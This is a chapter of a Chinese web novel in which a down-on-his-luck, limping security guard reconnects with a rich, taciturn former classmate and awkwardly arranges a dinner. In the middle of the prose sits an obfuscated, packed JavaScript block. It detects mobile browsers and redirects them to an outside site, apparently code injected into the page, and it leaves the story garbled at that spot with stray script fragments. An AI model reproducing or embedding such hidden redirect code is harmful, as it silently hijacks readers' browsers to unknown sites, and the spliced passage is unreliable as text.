“嗯。”迟砚没提自己改了的姓氏,只是看着昔日的老同学,简短问时钦,“有事吗?”语气斯文礼貌,像对待普通的陌生人。 “……”知道还他妈踩油门要走? 时钦脑子一下子更乱了,所以周砚其实早就认出他来了?就没打算跟他搭话,还对他视而不见? 不应该啊,许聪不可能会乱说。 岗亭里的小保安正愣着神,头发像鸡窝,脸蛋红得过分,颈间那颗小痣旁还挂着滴汗。似乎没耐心在这里耗下去,迟砚开了口:“没事的话——” “你等等!”时钦喊出声,酝酿许久的开场白到底是没用上。 他下意识摸了摸接近残废的左腿,心一横撑着桌沿起了身,一瘸一拐走出岗亭,站在车旁咬牙对车里的男人说:“周砚,老同学一场,你请我吃,不是,我请你吃顿饭呗?” 操,怎么还嘴瓢了! 迟砚沉默着,目光扫过时钦微跛的左腿,眼锋一垂一抬,目光就落在了时钦脸上,他微一点头: “好。” 闻言,时钦没忍住“啊”一声,眉梢都往上挑了点,满脸意外,合着这闷葫芦是在玩欲擒故纵? 不能在岗亭前多耽搁,他忙不迭指挥:“那什么,你先开去外面路边等我,我这上班呢,被拍到不好,我马上就来。” 话音刚落,车窗就被关上了,奔驰径直开了出去,老同学没给他半点反应,倒还跟以前一个样,古怪得很。 什么玩意儿啊。时钦瞧过去,扫了眼车屁股的“S450”标,心里默默算着价格,落地一百多万,差点意思,之前那大G呢? 他撇撇嘴,这闷葫芦搞什么把戏,多说两句话能死是么? 真要显摆,就拿出点诚意来,今晚请他上米其林餐厅大吃一顿,再砸个几百万现金,他就勉为其难亲个嘴。 等道闸降下后,时钦心里一紧:操,不会跑了吧?! 5. 我等你 盼星星盼月亮才盼来的大财主,时钦哪儿舍得撒手?毕竟过了这村,这辈子再没这店了。 现在的周砚对他来说,就跟软糯香甜的东坡肉一样馋人。 他半点儿没犹豫,拔腿就追,本来巡逻完就累得腿软,这下步子迈太急,又喘又冒热汗,差点颠个狗吃屎。 看到奔驰停在路边树荫里,时钦骂了一嘴“闷骚货”,脚步慢下来的同时,又暗戳戳得意上了:这么听话,还真是对自己贼心不死啊。 日头依旧毒得晃眼,他习惯性抬高胳膊,把脸往袖子上蹭,从额角到下巴胡噜了一圈,汗湿的布料擦过皮肤,总算清爽了点。 只是一闻到袖子上的汗味,时钦才猛然回神,自己这举动太糙了,活脱脱像个民工,浑身上下没一处不寒酸,头发也没个型。 妈的,周砚该不会在嫌弃他吧? 觉得他没以前帅,就故意视而不见?答应吃饭,也不过是可怜他这个残废?顺便在他面前摆阔装大逼,把高中时的气给出了? 操,周砚还敢嫌弃他? 出口距离那辆奔驰也就十米远,正常人要不了几秒,时钦偏磨蹭了半分钟,一来脚发酸闹的,二来心里憋着气,成心要磨磨周砚那古怪性子,让他老实候着自己。 就这半分钟工夫里,时钦自己一通瞎猜忌,脑瓜里转了八百个弯,给周砚安的罪名不带重样的,从“装逼”、“清高”、“拿乔摆谱”、“外貌协会”、“记仇小心眼儿”,一顶接一顶往人头上扣。 车身锃亮得能照出人影,靠近车屁股时他随手扒拉了两下头发,又胡乱抓着想拗出点型来,转而一想自己这是干嘛呢?周砚当年喜欢他,不就是瞧上了他这张脸么。 打小在夸赞里泡大,时钦对自己长相向来有底气,索性理直气壮敲开主驾车窗。 可车窗刚降下半截,一对上周砚那张既熟悉又陌生的冷脸,他铆足的气势瞬间软了,原本想好的硬气话全卡了壳,只憋出一句干巴巴的:“你手机号多少啊?” 话才撂出去,空气没静两秒,就见老同学解开了安全带,看样子是要下车。 时钦立马往边上挪,眼睛还瞟着对方的动作,又不自觉低头往制服上嗅了嗅,还好身上汗味不算重。 他心里嘀咕:这是累出来的汗,不是馊味,等晚上洗个澡就好了,别因为这点味道就把大财主给熏跑了。 末了又拐个弯埋怨起来:都是周砚的错,早不出现晚不出现,偏偏挑今天来,好歹给他点心理准备啊。 迟砚关上车门,看着心不在焉的时钦,目光掠过他皱巴巴的衣袖,在湿处短暂停留。时钦刚抬头,他已收回目光,语调平稳:“你的手机号。” “啊,哦。”两人离得近,时钦先闻到一股极淡的香气,莫名觉得哪儿不太对劲,掏出手机后,忽然没头没脑地蹦出一句,“你是不是长高了?” 迟砚轻嗯一声,指尖在手机屏上调出拨号界面,没去看时钦手里的旧老年机,只说:“手机号。” 要问时钦最烦什么,正是眼前这个面无表情的闷葫芦,完全让人捉摸不透,还越猜越烦躁。 说喜欢他吧,周砚从来没对他表现出半点喜欢的样子;说不喜欢他吧,那封情书就是周砚的字迹,做不了假。 而且他记得格外清楚,高三有一回自己心情不好,在酒吧浪到半夜,没人管他死活,最后是周砚把他背回的家。这种丢脸的事,他没好意思叫沈维他们几个知道。 不想还好,这一想发现肢体接触远不止在体育课上,在校外、在沈维他们看不见的地方,还有过好多回。 时钦憋屈地报出手机号,又像以前一样开始自我怀疑:是不是真的被周砚传染了? 怎么一跟闷葫芦扯上关系,自己就变得不对劲。 “我在遥望,月亮之上,有多少梦想在自由的飞翔……” 粗糙的音质带着电流“滋滋”声炸响,跟村口大喇叭似的,时钦手掌被震,眼都来不及看屏幕上的那串数字,飞快戳着老年机的按键把电话掐了。 见老同学仍是一副面瘫相,他赶紧没话找话解释:“是这手机默认的铃声,不是我弄的。” 迟砚没说话。 “其实听多了,这歌还挺有劲儿的。”时钦又给自己找补,声音拔高了些,试图挽回自己岌岌可危的品味。 但说实在的,听习惯以后他是真觉得这歌不错,日子难捱的时候,他偶尔还会哼唱上两句,幻想自己哪天也能自由飞翔。 迟砚还是没说话,垂眼看向手机,指尖略作停顿,把刚拨出去的号码存进了通讯录。 气氛说冷场就冷场,树上的蝉倒是叫得欢。 时钦突然觉得自讨没趣,心说就当卖惨博同情了,但凡周砚有良心,等今晚吃完饭就带他上银行取钱去。 今天队长刘建国和王大嗓门都在,不能离岗太久,有了联系方式不怕找不到人,反正都这样了,他干脆一不做二不休,趁机再卖波惨。 “离岗太久会扣工资,”时钦说着垮了垮肩膀,软下来的声音带了点可怜劲儿,别提有多委屈,“副队长还会训我,我得回去上班了,七点下班再给你打电话。” 迟砚扫过时钦扒拉过的头发,没比刚才的鸡窝好多少,软趴趴的几缕翘在额前,脑门上还蒙着层薄汗。 他呼吸稍沉,只平静回了一个“嗯”。 时钦原地站着,还想挽回一丝形象。他累的时候跛相会更明显,走起路来不好看,想等车走了再挪步。 结果等了几秒见对方也没动,他以为闷葫芦来良心了,紧接着再补上两句:“我同事都不待见我,嫌我是个没用的瘸子,也就保安队长看我工资要得低,才招我的。” 迟砚听完,没说什么。 “……”时钦又碰一鼻子灰,心里忍不住骂爹:这像话么?正常人就算不感兴趣,至少也会接个话吧?就这么晾着他,全世界只有周砚能干出这事来! 爱问不问,老子偏要说! 时钦刚要张口,话头就被堵了回去。 “回去上班吧。” “……”眼看着老同学转身打开车门,矮身坐进驾驶位,车门一关,时钦是真没话说了,也没那个精力去猜闷葫芦的心思,便挥了下胳膊,“那晚上见。” 迟砚回他:“再见。” 车窗缓缓升上去,黑漆马虎什么也看不见了。时钦扭头往回走,一出树荫就被阳光刺得眯起眼,站得累了,连走路都晃,只想快点回岗亭坐下来吹空调,哪儿还顾得上形象。 直到他颠晃的身影拐进园区,那辆奔驰才慢慢驶离树荫。 …… 唉,风水轮流转啊。 时钦靠着椅背,这样想着。追出去时他还觉得妥了,保安这碗饭谁爱吃谁吃,反正他不吃了。 这会儿凉快下来,热糊涂的大脑清醒不少,他把许聪说的那些话细细复盘,搞不好周砚去年参加同学聚会单纯是为了显摆,尤其是显摆给他看。结果他不在,周砚只能找沈维打听。 这闷骚的,花花肠子不少啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422351|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时钦不傻不苶,太清楚等价交换这回事儿,也知道自己大概捞不着多少好处。就算周砚真大方给他五百万,他其实也没辙,总不能扛着一箱子现金跑。 周砚说了再见,那今晚肯定能见面。 为了拿出诚意,时钦认真琢磨晚上吃什么。他掏了下没放手机的另个裤兜,攥出自己皱皱巴巴的全部家当,两张红票子,剩下全是五块、一块的零碎。 下个月底才发工资…… 请吃盖饭档次太低,下馆子点菜又太贵。时钦抠抠搜搜一通算,到最后也只舍得拿出五十块钱来招待老同学,思来想去,就烧烤合适:不跌份,应季,合理。 羊肉串来个三串够了,大腰子来一串,毛豆、花生米各来一份,别的整点蔬菜,再弄两瓶酒。大老爷们儿吃饭,核心不就是喝两口嘛,有荤有素还有酒,齐活儿了。 一下班,时钦没着急打电话,骑上电驴就往回赶。赵萍家环境简陋,没有卫生间,上厕所得去附近的公厕。洗澡也麻烦,只能烧水用盆接,在隔出来的小屋里洗。 赵萍还没回来,他没时间等水烧开,直接接了盆自来水往身上泼,嫌硫磺皂味儿不香,洗头时顺手往身上抹了洗发露,是他没见过的廉价杂牌,味道也就那样,但总比硫磺皂强点。 洗完澡,他在自己那几件旧衣服里挑挑拣拣,选出一身算体面的,黑色短袖配休闲裤,外加一双人字拖。 把自己收拾利索了,时钦这才拿出手机,拨了下午存的那个号码,备注显示“闷葫芦”。 未料电话刚通,就被那头掐断。 时钦第一反应就是自己被耍了,不服气又拨了第二遍,哪知道还是被掐断。他当场跳脚,恨不得操周砚大爷,手机突然一震,收到一条短信,点来一看,闷葫芦发的。 【在开会。】 开会??? 时钦火气蹭一下就上来了,冲着手机脱口就骂:“浪费老子感情,你开个几把会!” …… 园区里,某家互联网科技公司的会议室内。 迟砚点开收到的短信,看到内容,眼神移开掠向闹哄哄的会议室,不过两秒,又落回手机屏幕上。 【开完会给我打个电话,我等你】 “迟总啊,有我在这儿盯着,这临时会议还用您亲自过来开么?” 迟砚没理会合伙人李望的调侃,收好手机,问他:“展会申报,材料递到组委会了?” 李望:“递了递了,别操心。管那么大一娱乐公司还往这头跑,你也不嫌累。” 迟砚:“还好。” 会议结束时已经九点,李望在公司待了一整天,只想出去放松下,走时打趣迟砚:“去喝两杯?明天没什么事儿,正好放松放松。” 明天确实没重要的行程安排,迟砚点头:“行。” 两人一前一后进了电梯,李望稀奇道:“真跟我去喝酒?不找你那个小保安了?” 似是不愿多聊,迟砚淡淡应了句:“以前的同学而已,没那么熟。” …… 这头,时钦胳膊被蚊子叮红了好几块,挠得皮肤都发烫,捧着没什么功能的老年机,实在等得不耐烦,又给老同学发了条短信,什么几把会开到九点多了还不结束?把他当猴儿耍呢? 就这么熬着等着,等到时钦迷迷糊糊来了困意,枕边手机突然震了下。 他揉着眼睛摸过手机,半睁半闭地点开短信,瞬间困意全没了,只剩一肚子气。 【应酬。】